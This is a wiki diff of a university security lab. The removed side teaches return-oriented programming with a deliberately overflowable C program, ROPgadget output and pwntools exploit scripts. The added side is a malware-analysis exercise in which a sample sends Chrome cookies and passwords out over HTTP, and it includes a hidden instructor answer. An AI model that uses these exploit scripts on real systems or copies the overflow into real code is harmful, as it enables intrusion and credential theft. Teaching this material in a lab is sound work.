| - | puts("Nice! Now, can you find the surprise?\n"); | + | |
| - | } else { | + | |
| - | puts("Secret accessed, but the arg is not the right one!"); | + | |
| - | } | + | |
| - | } | + | |
| - | + | ||
| - | void run(){ | + | |
| - | char buf[32]; | + | |
| - | + | ||
| - | printf("Tell me your name: "); | + | |
| - | fflush(stdout); | + | |
| - | fgets(buf, 128, stdin); | + | |
| - | printf("Hello, %s\n", buf); | + | |
| - | + | ||
| - | } | + | |
| - | + | ||
| - | int main(){ | + | |
| - | run(); | + | |
| - | return 0; | + | |
| - | } | + | |
| - | </code> | + | |
| - | And to compile it we use: | + | |
| - | <code> | + | |
| - | $ gcc rop.c -o vuln32 -fno-stack-protector -m32 -g -no-pie | + | |
| - | </code> | + | |
| - | + | ||
| - | What we want to achieve is to call the secret() function first and then the surprise() function in a way that they don't interfere with each other. The problem is that these functions require some arguments. So how can we do it, given that the stack is full of other garbage? | + | |
| - | + | ||
| - | We use ROPs. In order to chain multiple function calls we need to arrange the stack to be fit for our next function. For this we need to artificially clean the stack. We can do this by searching for a useful set of instruction pointers with ROPgadget (we'll get to that later). | + | |
| - | + | ||
| - | <note> | + | |
| - | In our particular example, we suppose we accessed the secret function and we want to jump to the next one so we need to eliminate the argument of the secret function from the top of the stack. | + | |
| </note> | </note> | ||
| - | In other words we need to pop the arg and then jump to the next function. We can search for a "pop <?any>; ret" set of instructions. This is called a ROP gadget (install the package on VM using this [[https://github.com/JonathanSalwan/ROPgadget#install|link]] - **note**: skip python3-pip installation as it is already installed). We can find what is available in our program running: | ||
| - | <code> | + | Use ''%%procmon64%%'' to look for accessed files and network activity. By default ''%%procmon64%%'' shows what all current processes are doing. Try and filter for our process (look at what options ''%%procmon64%%'' offers you at the top of the window). |
| - | $ ROPgadget --binary vuln32 | + | |
| - | Gadgets information | + | |
| - | ============================================================ | + | |
| - | 0x0804917a : adc al, 0x68 ; sub al, 0xc0 ; add al, 8 ; call eax | + | |
| - | 0x080491c6 : adc byte ptr [eax + 0x68], dl ; sub al, 0xc0 ; add al, 8 ; call edx | + | |
| - | 0x0804926c : adc byte ptr [eax - 0x3603a275], dl ; ret | + | |
| - | ... | + | |
| - | 0x0804926f : pop ebp ; cld ; leave ; ret | + | |
| - | 0x080493c3 : pop ebp ; ret <=== //we look for sets like this | + | |
| - | 0x080493c0 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret | + | |
| - | 0x08049022 : pop ebx ; ret <=== //or like this | + | |
| - | 0x080493c2 : pop edi ; pop ebp ; ret | + | |
| - | 0x080493c1 : pop esi ; pop edi ; pop ebp ; ret | + | |
| - | ... | + | |
| - | ... | + | |
| - | </code> | + | |
| - | This (code pointer to) rop gadget needs to be placed in the return address of the previous function (because it is executable) so that it cleans or place the arguments and finally jump to the next piece. In this way we can consider our payload as a chain containing: | + | <note tip> |
| - | + | **You need to run the binary again after setting up your filters!** | |
| - | <code> | + | |
| - | <padding until first return addr> + <chain> + <chain> + ... | + | |
| - | </code> | + | |
| - | And a chain piece would look like: | + | |
| - | + | ||
| - | <code> | + | |
| - | <address_of_function> + <ROP gadget> + <arg> + <arg> ... | + | |
| - | </code> | + | |
| - | <note> | + | |
| - | Again, the goal of ROP should be clean the stack and the 'ret' should drop on the adress of the next chain piece or next code pointer that we want to access. This is called a ROP chain. | + | |
| </note> | </note> | ||
| - | <spoiler Here is a pwn script to help you with this! (use python3) > | + | Also try to have a look at the files that are managed by Chrome and check out the links at the end of the lab if you want to better understand how he passwords are stored. You also have a tool to explore SQLite databases installed already. |
| - | <code> | + | |
| - | from pwn import * | + | |
| - | import sys | + | |
| - | context.log_level = 'info' | + | <spoiler Hint> |
| - | + | If there is some network activity that interests you, you can use Wireshark. It has some awesome features, like extracting objects from network requests (//wink wink//). | |
| - | BIN_name = "./vuln32" | + | |
| - | context.binary = BIN_name | + | |
| - | + | ||
| - | #you can use this to extract addresses of the functions | + | |
| - | e = ELF(BIN_name) | + | |
| - | secret_addr = e.symbols['secret'] | + | |
| - | surprise_addr = e.symbols['surprise'] | + | |
| - | + | ||
| - | print('secret: 0x{:08x}'.format(secret_addr)) | + | |
| - | print('surprise: 0x{:08x}'.format(surprise_addr)) | + | |
| - | + | ||
| - | offset = 44 # sizeof(buf) + sizeof(ebp) == 32 + ?*8 + 4 offset is on the house today :) | + | |
| - | pop_ret_gadget = 0x0 # : pop ebx ; ret # gadget | + | |
| - | arg1 = 0x0 | + | |
| - | arg2 = 0x0 | + | |
| - | + | ||
| - | #ex a piece of chain: p32(secret_addr) + p32(pop_ret_gadget) + p32(arg1) | + | |
| - | + | ||
| - | payload = b"A" * offset + p32(secret_addr) + p32(pop_ret_gadget) + p32(arg1) + ... | + | |
| - | + | ||
| - | print(len(payload)) | + | |
| - | print(payload) | + | |
| - | sys.stdout.buffer.write(payload) | + | |
| - | + | ||
| - | io = process(BIN_name) | + | |
| - | + | ||
| - | # gdb.attach(io) | + | |
| - | + | ||
| - | io.sendline(payload) | + | |
| - | + | ||
| - | # a = io.recvline() | + | |
| - | # print(a) | + | |
| - | + | ||
| - | io.interactive() | + | |
| - | + | ||
| - | </code> | + | |
| </spoiler> | </spoiler> | ||
| - | == 10. [Bonus] same as above but for 64 bit binary == | ||
| - | Recompile rop.c prog: | + | <note tip> |
| - | <code> | + | Make use of the sandboxes, maybe they also provide some useful information. See how it compares to what you find by manually analyzing the binary. |
| - | gcc rop.c -o vuln64 -fno-stack-protector -no-pie | + | </note> |
| - | </code> | + | |
| - | <spoiler And here is the script to help you: > | + | |
| - | <code> | + | |
| - | from pwn import * | + | |
| - | import sys | + | |
| - | context.log_level = 'info' | + | <ifauth @isc> |
| + | <hidden> | ||
| + | Arhiva cu cookie-urile si parolele de la Chrome e trimisa ca POST request. (Wireshark > File > Export objects > HTTP) | ||
| + | </hidden> | ||
| + | </ifauth> | ||
| - | BIN_name = "./vuln64" | + | ===== 05. [Bonus] Anti-reversing techniques ===== |
| - | context.binary = BIN_name | + | |
| - | e = ELF(BIN_name) | + | If you were brave enough to try and decompile the executables, you might have noticed they look like gibberish. If not, use Ghidra to have a look at one of the executables. |
| - | secret_addr = e.symbols['secret'] | + | The executables are missing any symbols and the code seems very hard to understand. That is because they are packed using [[https://upx.github.io/|UPX]]. While UPX is an executable packer, meant to be used for executable compression, it is also commonly used to make reverse engineering harder. |
| - | surprise_addr = e.symbols['surprise'] | + | |
| - | + | ||
| - | print('secret: 0x{:08x}'.format(secret_addr)) | + | |
| - | print('surprise: 0x{:08x}'.format(surprise_addr)) | + | |
| - | + | ||
| - | offset = 40 # sizeof(buf) + sizeof(ebp) == 32 + 8 | + | |
| - | + | ||
| - | pop_rdi_ret_gadget = 0x0 #: pop rdi ; ret # posibil sa trebuiasca o adresa noua pt gadget | + | |
| - | arg1 = 0 | + | |
| - | arg2 = 0 | + | |
| - | + | ||
| - | # here he have another chain piece structure | + | |
| - | + | ||
| - | payload = b"A" * offset + p64(pop_rdi_ret_gadget) + p64(arg1) + p64(secret_addr) # + ... | + | |
| - | + | ||
| - | print(len(payload)) | + | |
| - | print(payload) | + | |
| - | sys.stdout.buffer.write(payload) | + | |
| - | + | ||
| - | # io = remote('<ip>', <port>) | + | |
| - | io = process(BIN_name) | + | |
| - | + | ||
| - | # gdb.attach(io) | + | |
| - | + | ||
| - | io.sendline(payload) | + | |
| - | + | ||
| - | # a = io.recvline() | + | |
| - | # print(a) | + | |
| - | + | ||
| - | io.interactive() | + | |
| - | + | ||
| - | + | ||
| - | </code> | + | |
| - | </spoiler> | + | |
| - | ==== 11. [10p] Feedback ==== | + | The good news is that you can also unpack it using UPX. It is already installed in your VM, so give it a try. |
| - | Please take a minute to fill in the [[https://forms.gle/5Lu1mFa63zptk2ox9|feedback form]] for this lab. | + | After unpacking it, try to decompile it again using Ghidra. Does it look a little bit more readable? |
| + | It is still not as readable as if you were expecting if you ever looked at a C binary decompiled, and that is because our executables were written in Go. Another technique that makes reverse engineering harder is the use of modern languages (Go, Rust, Zig, Nim), as they each come with their own (complex) runtime. | ||
| + | ===== Further reading ===== | ||
| + | * https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html | ||
| + | * https://superuser.com/questions/718383/where-are-google-chrome-passwords-stored-in-windows | ||
| + | * https://superuser.com/questions/146742/how-does-google-chrome-store-passwords | ||
| + | * https://www.insecurity.be/blog/2020/12/24/dpapi-in-depth-with-tooling-standalone-dpapi/ | ||
